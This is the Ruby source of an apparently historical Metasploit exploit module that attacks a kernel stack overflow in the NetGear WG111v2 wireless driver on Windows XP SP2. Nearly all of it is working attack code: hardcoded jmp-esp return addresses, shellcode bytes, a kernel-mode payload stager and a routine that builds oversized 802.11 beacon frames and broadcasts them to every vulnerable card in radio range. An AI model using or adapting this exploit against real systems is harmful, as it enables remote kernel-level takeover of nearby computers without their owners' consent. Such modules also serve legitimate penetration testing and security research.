212 lines
6.0 KiB
Ruby
212 lines
6.0 KiB
Ruby
|
require 'msf/core'
|
||
|
|
||
|
module Msf
|
||
|
|
||
|
class Exploits::Windows::Driver::Netgear_WiFi_Beacon < Msf::Exploit::Remote
|
||
|
|
||
|
include Exploit::Lorcon
|
||
|
include Exploit::KernelMode
|
||
|
|
||
|
def initialize(info = {})
|
||
|
super(update_info(info,
|
||
|
'Name' => 'NetGear WG111v2 Wireless Driver Long Beacon Overflow',
|
||
|
'Description' => %q{
|
||
|
This module exploits a stack overflow in the NetGear WG111v2 wireless
|
||
|
device driver. This stack overflow allows remote code execution in kernel mode.
|
||
|
The stack overflow is triggered when a 802.11 Beacon frame is received that
|
||
|
contains more than 1100 bytes worth of information elements.
|
||
|
|
||
|
This exploit was tested with version 5.1213.6.316 of the WG111v2.SYS driver and
|
||
|
a NetGear WG111v2 USB adapter. Since this vulnerability is exploited via beacon frames,
|
||
|
all cards within range of the attack will be affected. The tested adapter used
|
||
|
a MAC address in the range of 00:18:4d:02:XX:XX.
|
||
|
|
||
|
Vulnerable clients will need to have their card in a non-associated state
|
||
|
for this exploit to work. The easiest way to reproduce this bug is by starting
|
||
|
the exploit and then unplugging and reinserting the USB card. The exploit can
|
||
|
take up to a minute to execute the payload, depending on system activity.
|
||
|
|
||
|
NetGear was NOT contacted about this flaw. A search of the SecurityFocus
|
||
|
database indicates that NetGear has not provided an official patch or
|
||
|
solution for any of the thirty flaws listed at the time of writing. This list
|
||
|
includes BIDs: 1010, 3876, 4024, 4111, 5036, 5667, 5830, 5943, 5940, 6807, 7267, 7270,
|
||
|
7371, 7367, 9194, 10404, 10459, 10585, 10935, 11580, 11634, 12447, 15816, 16837,
|
||
|
16835, 19468, and 19973.
|
||
|
|
||
|
This module depends on the Lorcon library and only works on the Linux platform
|
||
|
with a supported wireless card. Please see the Ruby Lorcon documentation
|
||
|
(external/ruby-lorcon/README) for more information.
|
||
|
},
|
||
|
|
||
|
'Authors' =>
|
||
|
[
|
||
|
'hdm'
|
||
|
],
|
||
|
'License' => MSF_LICENSE,
|
||
|
'Version' => '$Revision: 3583 $',
|
||
|
'References' =>
|
||
|
[
|
||
|
['URL', 'http://projects.info-pull.com/mokb/MOKB-16-11-2006.html'],
|
||
|
],
|
||
|
'Privileged' => true,
|
||
|
|
||
|
'DefaultOptions' =>
|
||
|
{
|
||
|
'EXITFUNC' => 'thread',
|
||
|
},
|
||
|
|
||
|
'Payload' =>
|
||
|
{
|
||
|
# Its a beautiful day in the neighborhood...
|
||
|
'Space' => 1000,
|
||
|
},
|
||
|
'Platform' => 'win',
|
||
|
'Targets' =>
|
||
|
[
|
||
|
# Windows XP SP2 with the latest updates
|
||
|
# 5.1.2600.2622 (xpsp_sp2_gdr.050301-1519)
|
||
|
[ 'Windows XP SP2 (5.1.2600.2122), WG111v2.SYS 5.1213.6.316',
|
||
|
{
|
||
|
'Ret' => 0x80502d7f, # jmp esp
|
||
|
'Platform' => 'win',
|
||
|
'Payload' =>
|
||
|
{
|
||
|
'ExtendedOptions' =>
|
||
|
{
|
||
|
'Stager' => 'sud_syscall_hook',
|
||
|
'PrependUser' => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
|
||
|
'Recovery' => 'idlethread_restart',
|
||
|
'KiIdleLoopAddress' => 0x804dbb27,
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
],
|
||
|
|
||
|
# Windows XP SP2 install media, no patches
|
||
|
# 5.1.2600.2180 (xpsp_sp2_rtm_040803-2158)
|
||
|
[ 'Windows XP SP2 (5.1.2600.2180), WG111v2.SYS 5.1213.6.316',
|
||
|
{
|
||
|
'Ret' => 0x804ed5cb, # jmp esp
|
||
|
'Platform' => 'win',
|
||
|
'Payload' =>
|
||
|
{
|
||
|
'ExtendedOptions' =>
|
||
|
{
|
||
|
'Stager' => 'sud_syscall_hook',
|
||
|
'PrependUser' => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
|
||
|
'Recovery' => 'idlethread_restart',
|
||
|
'KiIdleLoopAddress' => 0x804dc0c7,
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
]
|
||
|
],
|
||
|
|
||
|
|
||
|
'DefaultTarget' => 0
|
||
|
))
|
||
|
|
||
|
register_options(
|
||
|
[
|
||
|
OptString.new('ADDR_DST', [ true, "The MAC address to send this to",'FF:FF:FF:FF:FF:FF']),
|
||
|
OptInt.new('RUNTIME', [ true, "The number of seconds to run the attack", 60])
|
||
|
], self.class)
|
||
|
end
|
||
|
|
||
|
def exploit
|
||
|
open_wifi
|
||
|
|
||
|
stime = Time.now.to_i
|
||
|
rtime = datastore['RUNTIME'].to_i
|
||
|
count = 0
|
||
|
|
||
|
print_status("Sending exploit beacons for #{datastore['RUNTIME']} seconds...")
|
||
|
while (stime + rtime > Time.now.to_i)
|
||
|
wifi.write(create_beacon)
|
||
|
select(nil, nil, nil, 0.10) if (count % 100 == 0)
|
||
|
|
||
|
count += 1
|
||
|
|
||
|
# Exit if we get a session
|
||
|
break if session_created?
|
||
|
end
|
||
|
|
||
|
print_status("Completed sending beacons.")
|
||
|
end
|
||
|
|
||
|
# Convert arbitrary data into a series of information elements
|
||
|
def ie_padding(data)
|
||
|
ret = 0
|
||
|
idx = 0
|
||
|
len = 0
|
||
|
|
||
|
while(idx < data.length)
|
||
|
len = data[idx+1]
|
||
|
if (! len)
|
||
|
data << "\x00"
|
||
|
len = 0
|
||
|
end
|
||
|
|
||
|
idx += len + 2
|
||
|
end
|
||
|
|
||
|
data << yield(idx - data.length)
|
||
|
end
|
||
|
|
||
|
def create_beacon
|
||
|
|
||
|
ssid = Rex::Text.rand_text_alphanumeric(16)
|
||
|
bssid = ("\x00" * 2) + Rex::Text.rand_text(4)
|
||
|
src = ("\x00" * 2) + Rex::Text.rand_text(4)
|
||
|
seq = [rand(255)].pack('n')
|
||
|
stamp = Rex::Text.rand_text(8)
|
||
|
|
||
|
frame =
|
||
|
"\x80" + # type/subtype
|
||
|
"\x00" + # flags
|
||
|
"\x00\x00" + # duration
|
||
|
eton(datastore['ADDR_DST']) + # dst
|
||
|
src + # src
|
||
|
bssid + # bssid
|
||
|
seq + # seq
|
||
|
stamp + # timestamp value
|
||
|
"\x64\x00" + # beacon interval
|
||
|
Rex::Text.rand_text(2) + # capability flags
|
||
|
|
||
|
# ssid tag
|
||
|
"\x00" + ssid.length.chr + ssid +
|
||
|
|
||
|
# supported rates
|
||
|
"\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" +
|
||
|
|
||
|
# current channel
|
||
|
"\x03" + "\x01" + channel.chr
|
||
|
|
||
|
# Bounce through EDI to the uncorrupted payload
|
||
|
jumper =
|
||
|
"\x6a\x39" + # push byte +0x39
|
||
|
"\x58" + # pop eax
|
||
|
"\x01\xc7" + # add edi, eax
|
||
|
"\xff\xe7" # jmp edi
|
||
|
|
||
|
# Overwrite enough to pop the return
|
||
|
buf = Rex::Text.rand_text(1160)
|
||
|
|
||
|
# Kernel-mode stager fun goes here
|
||
|
buf[0, payload.encoded.length] = payload.encoded
|
||
|
|
||
|
# Return address is a jmp ESP
|
||
|
buf[1101, 4] = [ target.ret ].pack('V')
|
||
|
|
||
|
# Jump back to EDI + 0x39
|
||
|
buf[1113, jumper.length] = jumper
|
||
|
|
||
|
# Pad it out to be a valid set of IEs
|
||
|
frame << ie_padding(buf) {|c| Rex::Text.rand_text(c) }
|
||
|
|
||
|
return frame
|
||
|
end
|
||
|
|
||
|
end
|
||
|
end
|